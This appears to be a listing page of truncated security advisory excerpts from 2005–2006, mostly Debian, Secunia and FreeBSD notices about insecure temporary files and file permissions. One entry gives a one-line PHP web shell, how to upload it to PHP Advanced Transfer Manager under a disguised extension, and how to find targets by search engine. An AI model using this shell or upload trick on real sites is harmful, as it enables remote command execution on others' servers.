[SA20102] DUbanner Insecure File Upload Vulnerability

TITLE: DUbanner Insecure File Upload Vulnerability SECUNIA ADVISORY ID: SA20102 VERIFY ADVISORY: http://secunia.com/advisories/20102/ CRITICAL: Moderately critical IMPACT: System access WHERE: From remote SOFTWARE: DUware DUbanner 3.x http://secunia.com/product/2848/ DESCRIPTION: Dj ReMix has...

FreeBSD : libgadu -- multiple vulnerabilities (3b4a6982-0b24-11da-bc08-0001020eed82)

Wojtek Kaniewski reports : Multiple vulnerabilities have been found in libgadu, a library for handling Gadu-Gadu instant messaging protocol. It is a part of ekg, a Gadu-Gadu client, but is widely used in other clients. Also some of the user contributed scripts were found to behave in an insecure...

FreeBSD : ghostscript -- insecure temporary file creation vulnerability (27a70a01-5f6c-11da-8d54-000cf18bbe54)

Ghostscript is affected by an insecure temporary file creation vulnerability. This issue is likely due to a design error that causes the application to fail to verify the existence of a file before writing to it. An attacker may leverage this issue to overwrite arbitrary files with the privileges...

[SECURITY] [DSA 1035-1] New fcheck packages fix insecure temporary file creation

-------------------------------------------------------------------------- Debian Security Advisory DSA 1035-1 [email protected] http://www.debian.org/security/ Steve Kemp April 15th, 2005 http://www.debian.org/security/faq -...

[SA19632] Sun Java Studio Enterprise Insecure File Permissions

TITLE: Sun Java Studio Enterprise Insecure File Permissions SECUNIA ADVISORY ID: SA19632 VERIFY ADVISORY: http://secunia.com/advisories/19632/ CRITICAL: Less critical IMPACT: Privilege escalation WHERE: Local system SOFTWARE: Sun Java Studio Enterprise 8.x http://secunia.com/product/9354/...

[SA19559] fbida fbgs Insecure Temporary File Creation Vulnerability

TITLE: fbida fbgs Insecure Temporary File Creation Vulnerability SECUNIA ADVISORY ID: SA19559 VERIFY ADVISORY: http://secunia.com/advisories/19559/ CRITICAL: Less critical IMPACT: Privilege escalation WHERE: Local system SOFTWARE: fbida 2.x http://secunia.com/product/9244/ DESCRIPTION: Jan Braun...

[SECURITY] [DSA 1013-1] New snmptrapfmt packages fix insecure temporary file

-------------------------------------------------------------------------- Debian Security Advisory DSA 1013-1 [email protected] http://www.debian.org/security/ Martin Schulze March 22nd, 2006 http://www.debian.org/security/faq -...

[SA19284] avast! Antivirus Insecure Default File Permissions

TITLE: avast! Antivirus Insecure Default File Permissions SECUNIA ADVISORY ID: SA19284 VERIFY ADVISORY: http://secunia.com/advisories/19284/ CRITICAL: Less critical IMPACT: Security Bypass, Manipulation of data, Privilege escalation WHERE: Local system SOFTWARE: avast! Antivirus 4.x...

[TZO-062006] Safe'nVulnerable

Safe'nSec - Insecure File execution and Auto-startup Ref : TZO-062006-SafenSec Author : Thierry Zoller WWW : http://secdev.zoller.lu Article : http://secdev.zoller.lu/research/safensec.htm I. Background "Safe'n'Sec is complex data and user applications protection against threats and vulnerabiliti...

CVE-2006-0512

PADL MigrationTools 46 creates temporary files insecurely, which allows local users to overwrite arbitrary files via a symlink attack on the temporary files, which are not properly created by 1 migrateallonline.sh, 2 migratealloffline.sh, 3 migrateallnetinfoonline.sh, 4 migrateallnetinfooffline.s...

[SECURITY] [DSA 927-2] New tkdiff packages fix insecure temporary file creation

-------------------------------------------------------------------------- Debian Security Advisory DSA 927-2 [email protected] http://www.debian.org/security/ Martin Schulze December 29th, 2005 http://www.debian.org/security/faq -...

[SECURITY] [DSA 927-1] New tkdiff packages fix insecure temporary file creation

-------------------------------------------------------------------------- Debian Security Advisory DSA 927-1 [email protected] http://www.debian.org/security/ Martin Schulze December 27th, 2005 http://www.debian.org/security/faq -...

[SA18230] Sun Solaris PC NetLink Insecure File Handling Vulnerability

TITLE: Sun Solaris PC NetLink Insecure File Handling Vulnerability SECUNIA ADVISORY ID: SA18230 VERIFY ADVISORY: http://secunia.com/advisories/18230/ CRITICAL: Less critical IMPACT: Privilege escalation WHERE: Local system SOFTWARE: Sun Solaris PC Netlink 2.x http://secunia.com/product/6667/...

iDefense Security Advisory 12.14.05: Trend Micro PC-Cillin Internet Security Insecure File Permission Vulnerability

Trend Micro PC-Cillin Internet Security Insecure File Permission Vulnerability iDefense Security Advisory 12.14.05 www.idefense.com/application/poi/display?id=351&type=vulnerabilities December 14, 2005 I. BACKGROUND Trend Micro PC-Cillin Internet Security is antivirus protection software for home...

[SECURITY] [DSA 907-1] New ipmenu packages fix insecure temporary file creation

-------------------------------------------------------------------------- Debian Security Advisory DSA 907-1 [email protected] http://www.debian.org/security/ Martin Schulze November 23rd, 2005 http://www.debian.org/security/faq -...

uplod phpshell in PHP Advanced Transfer Manager

uplod phpshell in PHP Advanced Transfer Manager one save as the code : -------- pre ? passthru$GET'sQl'; ? -------- file save as sQl.php.ns now upload in the PHP Advanced Transfer Manager end the upload go to www.site.com/file upload name/files/sQl.php.ns?sQl=command linux search google : PHP...

flexbackup default config insecure temporary file creation

flexbackup default config insecure temporary file creation Vendor: http://flexbackup.sourceforge.net/ Advisory: http://www.zataz.net/adviso/flexbackup-09192005.txt Vendor informed: yes Exploit available: yes Impact : low Exploitation : low The vulnerabilities ared due to insecure temporary files...

RHEL 3 : net-snmp (RHSA-2005:373)

Updated net-snmp packages that fix two security issues and various bugs are now available. This update has been rated as having low security impact by the Red Hat Security Response Team. SNMP Simple Network Management Protocol is a protocol used for network management. A denial of service bug was...

[SECURITY] [DSA 827-1] New backupninja packages fix insecure temporary file

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 827-1 [email protected] http://www.debian.org/security/ Michael Stone September 29th, 2005 http://www.debian.org/security/faq -...

[SECURITY] [DSA 814-1] New lm-sensors packages fix insecure temporary file

-------------------------------------------------------------------------- Debian Security Advisory DSA 814-1 [email protected] http://www.debian.org/security/ Martin Schulze September 15th, 2005 http://www.debian.org/security/faq -...